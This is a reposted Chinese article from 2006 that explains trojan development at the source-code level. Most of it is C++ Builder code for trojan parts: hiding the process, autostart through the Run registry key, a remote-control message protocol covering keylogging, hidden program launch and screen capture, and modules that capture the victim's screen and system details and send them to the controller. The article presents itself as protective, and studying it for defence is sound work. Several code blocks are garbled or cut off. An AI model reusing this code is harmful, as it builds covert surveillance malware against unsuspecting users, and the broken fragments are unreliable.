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透视木马程序开发技术:病毒源代码详解
来源:网络 时间:2006-5-18
 

近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

1、木马程序的分类

木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了icmp等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入dll线程。或者挂接psapi,实现木马程序的隐藏,甚至在windows nt/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考shotgun的文章《揭开木马的神秘面纱》。

2.木马程序的隐藏技术

木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

进程:一个正常的windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的pid(progress id, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。

线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在windows nt/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下ctrl+alt+delete的时候,也就看不到这个程序。但是,这种方法只适用于windows9x的系统,对于windows nt,windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在windows nt/2000下了吗?当然还有办法,那就是api的拦截技术,通过建立一个后台的系统钩子,拦截psapi的enumprocessmodules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程id(pid)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了textouta,textoutw函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅shotgun的文章《nt系统下木马进程的隐藏与检测》。

winapi winmain(hinstance, hinstance, lpstr, int)

{

try

{

dword dwversion = getversion();//取得windows的版本号

if (dwversion >= 0x80000000) // windows 9x隐藏任务列表

{

int (callback *rsp)(dword,dword);

hinstance dll=loadlibrary("kernel32.dll");//装入kernel32.dll

rsp=(int(callback *)(dword,dword))getprocaddress(dll,"registerserviceprocess");//找到registerserviceprocess的入口

rsp(null,1);//注册服务

freelibrary(dll);//释放dll模块

}

}

catch (exception &exception)//处理异常事件

{

//处理异常事件

}

return 0;

} 

3、程序的自加载运行技术

让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的hkey_local_machine\software\microsoft\windows\currentversions\run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改hkey_local_machine\software\microsoft\windows\currentversions\run键值来实现自启动的程序:

自装载部分:

hkey hkey;

ansistring newprogramname=ansistring(sys)+ansistring("+pname/">\\")+pname

unsigned long k;

k=reg_opened_existing_key;

regcreatekeyex(hkey_local_machine,

"software\\microsoft\\windows\\currentversion\\run\\",

0l,

null,

reg_option_non_volatile,key_all_access|key_set_value,

null,

&hkey,&k);

regsetvalueex(hkey,

"backgroup",

0,

reg_sz,

newprogramname.c_str(),

newprogramname.length());

regclosekey(hkey);

if (int(shellexecute(handle,

"open",

newprogramname.c_str(),

null,

null,

sw_hide))>32)

{

wantclose=true;

close();

}

else

{

hkey hkey;

unsigned long k;

k=reg_opened_existing_key;

long a=regcreatekeyex(hkey_local_machine,

"software\\microsoft\\windows\\currentversion\\run",

0,

null,

reg_option_non_volatile,

key_set_value,null,

&hkey,&k);

regsetvalueex(hkey,

"backgroup",

0,

reg_sz,

programname.c_str(),

programname.length());

int num=0;

char str[20];

dword lth=20;

dword type;

char strv[255];

dword vl=254;

dword suc;

do{

suc=regenumvalue(hkey_local_machine,

(dword)num,str,

null,

&type,

strv,&vl);

if (strcmp(str,"bgroup")==0)

{

deletefile(ansistring(strv));

regdeletevalue(hkey_local_machine,"bgroup");

break;

}

}while(suc== error_success);

regclosekey(hkey);

}

自装载程序的卸载代码:

int num;

char str2[20];

dword lth=20;

dword type;

char strv[255];

dword vl=254;

dword suc;

do{

suc=regenumvalue(hkey_local_machine,

(dword)num,

str,

null,

&type,

strv,

&vl);

if (strcmp(str,"bgroup")==0)

{

deletefile(ansistring(strv));

regdeletevalue(hkey_local_machine,"bgroup");

break;

}

}while(suc== error_success)

hkey hkey;

unsigned long k;

k=reg_opened_existing_key;

regcreatekeyex(hkey_local_machine,

"software\\microsoft\\windows\\currentversion\\run",

0,

null,

reg_option_non_volatile,

key_set_value,null,

&hkey,

&k);

do{

suc=regenumvalue(hkey,(dword)num,str,if (strcmp(str,"backgroup")==0)

{

deletefile(ansistring(strv));

regdeletevalue(hkey_local_machine,"backgroup");

break;

}

}while(suc== error_success)

regclosekey(hkey);

其中自装载部分使用c++ builder可以这样写,会比较简化:

tregistry & regkey = *new tregistry();

regkey.rootkey=hkey_local_machine;

regkey.openkey("software\\microsoft\\windows\\currentversion\\run",true);

if(!regkey.valueexists("interbase server"))

{

regkey.writestring("interbase server",

"d:\\program files\\borland\\intrbase\\bin\\ibserver.exe");

}

regkey.closekey();

delete ®key;

 

 

4、木马程序的建立连接的隐藏

木马程序的数据传递方法有很多种,其中最常见的要属tcp,udp传输数据的方法了,通常是利用winsock与目标机的指定端口建立起连接,使用send和recv等api进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动tcp,udp连接。

c:\documents and settings\bigball>netstat -n

active connections

proto local address foreign address state

tcp 192.0.0.9:1032 64.4.13.48:1863 established

tcp 192.0.0.9:1112 61.141.212.95:80 established

tcp 192.0.0.9:1135 202.130.239.223:80 established

tcp 192.0.0.9:1142 202.130.239.223:80 established

tcp 192.0.0.9:1162 192.0.0.8:139 time_wait

tcp 192.0.0.9:1169 202.130.239.159:80 established

tcp 192.0.0.9:1170 202.130.239.133:80 time_wait

c:\documents and settings\bigball>netstat -a

active connections

proto local address foreign address state

tcp liumy:echo liumy:0 listening

tcp liumy:discard liumy:0 listening

tcp liumy:daytime liumy:0 listening

tcp liumy:qotd liumy:0 listening

tcp liumy:chargen liumy:0 listening

tcp liumy:epmap liumy:0 listening

tcp liumy:microsoft-ds liumy:0 listening

tcp liumy:1025 liumy:0 listening

tcp liumy:1026 liumy:0 listening

tcp liumy:1031 liumy:0 listening

tcp liumy:1032 liumy:0 listening

tcp liumy:1112 liumy:0 listening

tcp liumy:1135 liumy:0 listening

tcp liumy:1142 liumy:0 listening

tcp liumy:1801 liumy:0 listening

tcp liumy:3372 liumy:0 listening

tcp liumy:3389 liumy:0 listening

tcp liumy:netbios-ssn liumy:0 listening

tcp liumy:1028 liumy:0 listening

tcp liumy:1032 msgr-ns19.msgr.hotmail.com:1863 estab

tcp liumy:1112 szptt61.141.szptt.net.cn:http establi

tcp liumy:1135 202.130.239.223:http established

tcp liumy:1142 202.130.239.223:http established

tcp liumy:1162 w3i:netbios-ssn time_wait

tcp liumy:1170 202.130.239.133:http time_wait

tcp liumy:2103 liumy:0 listening

tcp liumy:2105 liumy:0 listening

tcp liumy:2107 liumy:0 listening

udp liumy:echo *:*

udp liumy:discard *:*

udp liumy:daytime *:*

udp liumy:qotd *:*

udp liumy:chargen *:*

udp liumy:epmap *:*

udp liumy:snmp *:*

udp liumy:microsoft-ds *:*

udp liumy:1027 *:*

udp liumy:1029 *:*

udp liumy:3527 *:*

udp liumy:4000 *:*

udp liumy:4001 *:*

udp liumy:1033 *:*

udp liumy:1148 *:*

udp liumy:netbios-ns *:*

udp liumy:netbios-dgm *:*

udp liumy:isakmp *:*

但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个tcp或者udp连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的http,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用icmp(internet control message protocol)协议进行数据的发送,原理是修改icmp头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用icmp可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为icmp不同于tcp,udp,icmp工作于网络的应用层不使用tcp协议。关于网络层次的结构,下面给出图示:



网络层次结构图

5、发送数据的组织方法

关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

typedef struct{ //定义消息结构

//char ip[20];

char type; //消息种类

char password[20]; //密码

int cnum; //消息操作号

//int length; //消息长度

}msg;

#define msglen sizeof(msg)

//-------------------------------------------

//对话框数据包定义:dlg_msg_type.h

//-------------------------------------------

//定义如下消息类型:

#define msgdlgcommon 4//连接事件

#define msgdlgsend 5//发送完成事件

//消息结构

typedef struct{

char name[20];//对话框标题

char msg[256];//对话框消息内容

}msgdlguint;

#define msgdlglen sizeof(msgdlguint)//消息单元长度

//------------------------------------------

//聊天数据包定义:chat_msg_type.h

//------------------------------------------

//定义如下消息类型:

#define msgchatcommon 0//连接事件

#define msgchatconnect 1//接入事件

#define msgchatescept 2//结束事件

#define msgchatreceived 16//确认对话内容收到

//消息结构

typedef struct{

char clientname[20];//client自定义的名称

char msg[256];//发送的消息

}msgchatuint;

#define msgchatlen sizeof(msgchatuint)//消息单元长度

//------------------------------------------

//重启数据包定义:reboot_msg_type.h

//------------------------------------------

//定义如下消息类型:

#define msgreboot 15//重启事件

//------------------------------------------

//目录结构请求数据包定义:dir_msg_type.h

//------------------------------------------

//定义如下消息类型:

#define msggetdirinfo 17

#define msgreceivegetdirinfo 18

typedef struct{

char dir[4096];//你要的目录名

}msgdiruint;

#define msgdiruintlen sizeof(msgdiruint)

// tcp的msg

typedef struct{ //定义消息结构

char stype; //消息种类

char spassword[20]; //密码

//int snum; //消息操作号

char *allmsg;

}smsg;

#define smsglen sizeof(smsg)

#define msglistprogram 19

#define msgflymouse 21

#define msggowithmouse 22

#define msgsavekey 23

#define msgtracekey 24

#define msgcopyscreen 25//tcp接收消息,udp请求消息

#define msgcopywindow 26

//-------------------------

//鼠标指针隐藏和显示控制

//-------------------------

#define msgsetmousestat 27//设置消息

#define msgmousestat 28//成功消息

typedef struct{

bool mouseshow;

}msgsetmousestatuint;

#define msgsetmousestatuintlen sizeof(msgsetmousestatuint)

//-------------------------

//任务栏隐藏和显示控制

//-------------------------

#define msgsettaskbarstat 29//设置消息

#define msgtaskbarstat 30//成功消息

typedef struct{

bool taskshow;

}msgsettaskbarstatuint;

#define msgsettaskbarstatuintlen sizeof(msgsettaskbarstatuint)

//-------------------------

//得到机器名

//-------------------------

#define msggetnetbiosname 31//取请求

#define msgnetbiosname 32//回送机器名

typedef struct{

char netbiosname[128];

}msgnetbiosnameuint;

#define msgnetbiosnameuintlen sizeof(msgnetbiosnameuint)

//-------------------------

//关闭进程变更!

//-------------------------

#define msgsetprogramclose 33//关闭请求

#define msgprogramclosed 34//成功消息-----

typedef struct{

char programname[4096];//old struct : char programname[128];//要关闭的窗口的名字

}msgsetprogramcloseuint;

#define msgsetprogramcloseuintlen sizeof(msgsetprogramcloseuint)

//-------------------------

//打开进程变更!

//-------------------------

#define msgsetprogramopen 20//打开请求

#define msgprogramopened 36//成功消息

typedef struct{

char programname[4096]; //old struct : char programname[128];//要打开的程序的名字

bool programshow;//前台运行或后台运行程序(隐藏运行)

}msgsetprogramopenuint;

#define msgsetprogramopenuintlen sizeof(msgsetprogramopenuint)

#define msggethardware 35//请求硬件信息(udp消息)和回传硬件信息(tcp消息)

上面一段定义,使用了tcp和udp两种协议目的就是为了减少tcp连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。snum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的oicq也正是使用了这一办法来校验消息的。

数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个void类型的数据流,然后发送:

msg *msg=new msg;

tmemorystream *rdata=new tmemorystream;

nmudp1->readstream(rdata);

rdata->read(msg,sizeof(msg));

udpconnect *udpconnect=new udpconnect;

netbiosname *netbiosname=new netbiosname;

if(msg->cnum==cnumbak)

return;

else{

cnumbak=msg->cnum;

switch(msg->type)

{

case 0://msgudpconnect

rdata->read(udpconnect,sizeof(udpconnect));

checkuser(udpconnect->isright);

break;

case 1:

rdata->read(netbiosname,sizeof(netbiosname));

ansistring jqm="机器名 ";

jqm+=(ansistring)netbiosname->netbiosname;

memo2->lines->add(jqm);

break;

}

}

当服务器端收到数据后,首先要做的工作是解包还原void流为结构化的协议,这里同样给出事例代码:

nmudp1->remotehost=fromip;

nmudp1->remoteport=port;

tmemorystream *rdata=new tmemorystream;

nmudp1->readstream(rdata);

msg *msg=new msg;

rdata->read(msg,sizeof(msg));

if(msg->cnum==cnumbak)

return;

else

{

cnumbak=msg->cnum;

switch(msg->type)

{

case 0:

checkuser(msg->password);

break;

case 1:

getnetbiosname();

break;

case 2:

checkhard();

break;

}

}

此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

#define maxxcount 10 //屏幕x方向最多分割块数

#define maxycount 5 //... y................

#define destnum 1000 //每块的偏移检测点最大个数

colorref colors[maxxcount][maxycount][destnum];

colorref bakcolors[maxxcount]{maxycount][destnum];

tpoint dests[destnum];

int sw;

int sh;

int xcount;

int ycount;

int itemwidth;

int itemheight;

int dnum;

int qlity;

//得到消息后执行:

//另外:接收到的数据包中分析出 dnum ,qlity

//dnum:偏移观测点数量

//qlity:图象要求质量

__fastcall tform1::copyscreen(int dnum,int qlity){

itemwidth=sw/xcount;

itemheight=sh/ycount;

sw=screen->width;

sh=screen->height;

xcount=(sw>1000)?8:6;

ycount=(sh>1000)?3:2;

for (int num1=0;num1 dests[num1].x=random(itemwidth);

dests[num1].y=random(itemheight);

}

catchscreen(dnum,qlity);

}

//收到刷屏消息后只执行:

catchscreen(dnum,qlity);

__fastcall tform1::catchscreen(int dnum,int qlity){

//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据

//dnum: 偏移量 qlity:图象质量

hdc dc=getdc(getdesktopwindow());

graphics::tbitmap *bm=new graphics::tbitmap;

bm->width=sw;

bm->height=sh;

bitblt(bm->canvas->handle,0,0,sw-1,sh-1,dc,0,0);

int num1,num2,num3;

int nowx,nowy;

bool change;

bool itemchange[maxxcount][maxycount];

for (num1=0;num1 nowx=itemwidth*num1;

for (num2=0;num2 nowy=itemheight*num2;

change=false;

for (num3=0;num3 colors[num1][num2][num3]=bm->canvas->pixels[nowx+dests[num3].x][nowy+dests[num3].y];

if (colors[num1][num2][num3]!=bakcolors[num1][num2][num3]){

bakcolors[num1][num2][num3]=colors[num1][num2][num3];

itemchange[num1][num2]=true;

}

}

}

}

int cnum,maxcnum;

int changednum=0;

trect *rect;

int num4;

int minsize=10000;

int m;

trect minrect;

graphics::tbitmap *bt2=new graphics::tbitmap;

tjpegimage *j=new tjpegimage;

//************************

j->quality=qlity;

//************************

copyscreenuint copyscreen;

copyscreenitemuint copyscreenitem;

tmemorystream *ms=new tmemorystream;

ms->write(&tcpmsg,sizeof(tcpmsguint));

ms->write(&copyscreen,sizeof(copyscreenuint));

do{

for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xcount;num3++){

maxcnum=0;

for (num4=num2+1;num4<=ycount;num4++){ //遍历所有矩形

cnum=getchangednum(trect(num1,num2,num3,num4));

if (cnum>maxcnum) maxcnum=cnum;

m=(num3-num1)*(num4-num2);

if (2*m-cnum minsize=2*m-cnum;

minrect=trect(num1,num2,num3,num4);

}

}

}

tmemorystream *ms;

bitblt(bt2->canvas->handle,0,0,itemwidth-1,itemheight-1,bt->canvas->handle,0,0);

j->assign(bt2);

j->savetostream(ms2);

copyscreenitem.rect=trect(num1,num2,num3,num4);

copyscreenitem.filetype=jpegfile; //jpegfile 定义为:#define jpegfile 1

ms2->position=0;

copyscreenitem.length=ms2->size;

ms->write(&copyscreenitem,sizeof(screenitemuint));

ms->copyfrom(ms2,ms2->size);

changednum++;

}while(maxcnum>0);

tcpmsg.type=msgcopyscreen;

ms->position=0;

tcpmsg.length=ms->size-sizeof(tcpmsguint);

copyscreen.count=changednum;

ms->write(&tcpmsg,sizeof(tcpmsguint));

ms->write(&copyscreen,sizeof(copyscreenuint));

ms->position=0;

sock->sendstream(ms);

}

这个程序把屏幕画面切分为了多个部分,并存储画面为jpg格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

 6、目标机器情况的获取

相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的api,这一点上是和应用程序很相像的。

ansistring cs;

file *fp;

fp=fopen("temp.had","w+");

//todo: add your source code here

//获得cpu型号

system_info systeminfo;

getsysteminfo (&systeminfo);

cs="cpu类型是:"+string(systeminfo.dwprocessortype)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

memorystatus memory;

memory.dwlength =sizeof(memory); //初始化

globalmemorystatus(&memory);

cs="物理内存是(mb):"+string(int(memory.dwtotalphys /1024/1024))+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

cs="可用内存是(kb):"+string(int( memory.dwavailphys/1024))+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

dword sector,byte,cluster,free;

long int freespace,totalspace;

uint type;

char name;

//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

//5—cd-rom、6—内存虚拟盘

char volname[255],filename[100];//buffer[512];

dword sno,maxl,fileflag ;

for (name=‘a‘;name<=‘z‘;name++) {//循环检测a~z

type = getdrivetype(ansistring(ansistring(name)+‘:‘).c_str()); //获得磁盘类型

if(type==0){

cs="未知类型磁盘:"+string(name)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

else if(type==2){

cs="可移动类型磁盘:"+string(name)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

else if(type==3){

cs="固定磁盘:"+string(name)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

else if(type==4) {

cs="网络映射磁盘:"+string(name)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

else if (type==5){

cs="光驱:"+string(name)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

else if (type==6){

cs="内存虚拟磁盘:"+string(name)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

if(getvolumeinformation((string(name)+string(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)){

cs=string(name)+"盘卷标为:"+string(volname)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

cs=string(name)+"盘序号为:"+string(sno)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

getdiskfreespace((string(name)+string(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

freespace=int(free)*byte*sector/1024/1024; //计算可用空间

cs=string(name)+string(‘:‘)+"盘总空间(mb):"+ansistring(totalspace)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

cs=string(name)+string(‘:‘)+"盘可用空间(mb):"+ansistring(freespace)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

}

int wavedevice,mididevice;

waveoutcaps wavecap;

midioutcaps midicap;

wavedevice=(int)waveoutgetnumdevs(); //波形设备信息

mididevice=(int)midioutgetnumdevs(); // midi设备信息

if (wavedevice!=0){

waveoutgetdevcaps(0,&wavecap,sizeof(waveoutcaps));

cs="当前波形设备:"+string(wavecap.szpname)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

if (mididevice!=0){

midioutgetdevcaps(0,&midicap,sizeof(midioutcaps));

cs="当前midi设备:"+string(midicap.szpname)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

}

long double tcs;

long double tc;

long int bpp,cp;

cs="当前分辨率为:"+string(screen->width)+ansistring("*")+ string(screen->height)+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

bpp=getdevicecaps(canvas->handle ,bitspixel);

tcs=pow(2,bpp); //计算色彩的梯度数

cp= getdevicecaps(form1->canvas->handle,planes);

tc= pow(double(tcs),double(cp)); //计算色深

ansistring sss;

sss=bpp;

cs="当前色深为:"+sss+"\n";

fwrite(cs.c_str(),cs.length(),1,fp);

fclose(fp);

ansistring filename="temp.had";

char *buf;

tcpmsguint msg2;

strcpy(msg2.tpassword,password);

tmemorystream *ms=new tmemorystream;

ms->clear();

if (!fileexists(filename)) checkhard();

tfilestream *fs=new tfilestream(filename,fmopenread);

上一页 1 2 3

buf=new char[fs->size+sizeof(tcpmsguint)+1];

fs->read(buf,fs->size);

msg2.type=msggethardware;

msg2.length=fs->size;

fileclose(fs->handle);

ms->write(&msg2,sizeof(tcpmsguint));

ms->write(buf,msg2.length);

ms->position=0;

delete []buf;

try{

sock->sendstream(ms);

}

catch(exception&e) {

}

}

上面一段程序,基本上把相关的系统信息都取到了。

7、服务器端程序的包装与加密

用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

首先让我们来做一个实验:

进入windows的命令行模式下做如下操作

1)c:\>copy server.exe server.bak

2)建立一个文本文件test.txt,其内容为“http://www.patching.net”

3)c:\>type text.txt>>server.exe

4)运行server.exe

怎么样?是不是发现server.exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个exe文件,这个exe文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数n个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

8、总结

以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。

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